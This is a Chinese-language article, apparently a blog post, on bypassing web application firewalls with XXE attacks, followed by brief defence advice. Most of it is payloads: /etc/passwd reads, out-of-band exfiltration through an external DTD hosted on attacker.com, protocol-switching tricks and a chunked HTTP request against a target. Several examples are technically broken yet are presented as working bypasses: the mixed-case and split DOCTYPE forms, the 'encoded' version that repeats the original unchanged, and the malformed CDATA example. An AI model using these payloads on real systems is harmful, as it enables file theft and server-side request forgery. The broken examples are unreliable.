1. XXE漏洞与WAF防护基础
XXE(XML External Entity)漏洞是一种利用XML解析器处理外部实体时产生的安全缺陷。当应用程序解析用户提供的XML输入时,如果配置不当,攻击者可以通过构造恶意的XML实体来读取服务器上的任意文件、执行服务器端请求伪造(SSRF)甚至远程代码执行。
现代Web应用防火墙(WAF)通常会部署针对XXE攻击的防护规则,这些规则主要通过以下方式实现:
- 检测XML文档中的DOCTYPE声明
- 拦截包含外部实体引用的请求(如SYSTEM、PUBLIC关键字)
- 过滤特殊协议(如file://、http://)
- 限制XML文档的复杂度和嵌套层级
但安全防护与攻击手段总是相互博弈的关系。我在实际渗透测试中发现,即使部署了WAF,仍然存在多种绕过防护的可能性。下面将结合具体案例,分析几种有效的绕过技术。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. DTD构造的变形艺术
2.1 非常规DOCTYPE声明
WAF通常会检测标准的DOCTYPE格式,但XML规范实际上允许多种声明方式。例如,以下变形声明可能绕过基础防护:
xml复制<!-- 标准声明 -->
<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<!-- 变形声明1 - 添加无用空格 -->
<!DOCTYPE root [ <!ENTITY % xxe SYSTEM "file:///etc/passwd" > ]>
<!-- 变形声明2 - 使用不同大小写 -->
<!dOcTyPe root [<!EnTiTy xxe SYSTEM "file:///etc/passwd">]>
<!-- 变形声明3 - 拆分DOCTYPE标签 -->
<!DOC TYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
我在测试某电商平台时发现,他们的WAF对标准DOCTYPE检测严格,但使用变形声明3成功绕过了防护。关键在于WAF的正则表达式可能采用严格的模式匹配,而XML解析器对语法的容错性更强。
2.2 内联DTD与外部DTD结合
更高级的绕过方式是将DTD定义拆分到不同位置:
xml复制<!-- 主XML文件 -->
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://attacker.com/malicious.dtd">
%remote;
]>
<root>&payload;</root>
<!-- malicious.dtd内容 -->
<!ENTITY % payload SYSTEM "file:///etc/passwd">
<!ENTITY % wrapper "<!ENTITY send SYSTEM 'http://attacker.com/?leak=%payload;'>">
%wrapper;
这种技术利用了WAF通常只检查单个请求包的特点。第一次请求只包含对外部DTD的引用,看起来无害;真正的攻击载荷在第二次请求中完成。
3. 编码与混淆技术
3.1 十六进制/UTF-8编码
对关键部分进行编码可以绕过基于字符串匹配的WAF规则:
xml复制<!DOCTYPE root [
<!ENTITY % xxe "file:///etc/passwd">
<!ENTITY % wrapper "<!ENTITY send SYSTEM 'http://attacker.com/?leak=%xxe;'>">
%wrapper;
]>
可以转换为:
xml复制<!DOCTYPE root [
<!ENTITY % xxe "file:///etc/passwd">
<!ENTITY % wrapper "<!ENTITY send SYSTEM 'http://attacker.com/?leak=%xxe;'>">
%wrapper;
]>
我在实际测试中发现,某些WAF对编码后的实体解析不完整,特别是当编码方式混合使用时(如部分UTF-8、部分十六进制)。
3.2 CDATA混淆
利用CDATA区块可以隐藏恶意内容:
xml复制<![CDATA[<!DOCTYPE root [<!ENTITY xxe SYSTEM "]]>file:///etc/passwd<![CDATA[">]]>
这种技术的关键在于破坏WAF的语法分析,而XML解析器会正确重组这些片段。
4. 协议限制的绕过
4.1 非常规协议处理
当file://和http://协议被禁止时,可以尝试:
- PHP环境:php://filter/convert.base64-encode/resource=/etc/passwd
- Java环境:jar:file:///var/www/html/test.zip!/test.xml
- .NET环境:netdoc:///etc/passwd
4.2 协议重定向
通过可控的HTTP服务进行协议跳转:
- 搭建一个返回302重定向的web服务,指向file:///etc/passwd
- 在XXE中使用http://attacker.com/redirector
某些XML解析器会跟随重定向,而WAF可能只检查初始请求的协议。
5. 实战案例:分块传输绕过
某次渗透测试中,目标系统使用了Cloudflare WAF防护XXE攻击。标准攻击被拦截后,我采用以下步骤成功绕过:
- 将XML请求转换为分块传输编码(Transfer-Encoding: chunked)
- 在每个数据块中插入随机注释和空白字符
- 关键payload分布在多个非连续块中
http复制POST /api/xml-processor HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
80
<!-- random comment -->
<!DOC
60
TYPE root [
<!ENTITY %
50
xxe SYSTEM
70
"file:///etc/passwd"
]>
0
这种技术利用了WAF可能无法正确处理分块请求的特点,而后端服务器会正确重组这些数据。
6. 防御建议与检测方法
作为防御方,建议采取以下措施:
- 禁用DTD处理:在XML解析器中设置
disallow-doctype选项 - 使用白名单验证:只允许预期的XML结构和命名空间
- 深度解析检测:不仅检查原始请求,还要分析解析后的XML树
- 行为监控:检测异常的出站连接请求
对于安全测试人员,可以使用以下方法检测WAF绕过可能性:
- 变异测试:使用工具自动生成各种变形的XXE payload
- 时序分析:比较正常请求和恶意请求的响应时间差异
- 错误信息:观察不同payload导致的错误消息变化
我在实际工作中发现,即使是最严格的WAF配置,也往往存在检测盲区。关键在于理解目标系统使用的具体XML解析器及其特性,然后针对性地设计绕过方案。
